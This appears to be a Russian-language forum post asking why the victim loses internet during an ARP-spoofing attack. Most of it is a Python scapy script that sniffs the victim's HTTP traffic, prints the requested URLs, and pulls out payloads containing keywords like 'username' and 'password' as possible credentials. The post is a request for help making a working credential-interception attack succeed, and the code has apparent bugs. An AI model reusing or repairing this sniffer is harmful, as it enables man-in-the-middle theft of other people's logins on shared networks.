При совершении Arpspoofa пропадает интернет на машине жертвы.
Выполняю атаку при помощи программы на Python.
Сам Arpspoof работает. Может проблема в коде программы которая передает весь трафик?
Код:
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_login_info(packet):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ["username", "user", "login", "password", "pass"]
for keyword in keywords:
if keyword in load:
return load
def process_sniffed_packet(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
b = b"[+] HTTP Request >> "
s = b.decode('UTF-8'),
print(s)
print(url)
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username/password > " + login_info + "\n\n")
sniff("eth0")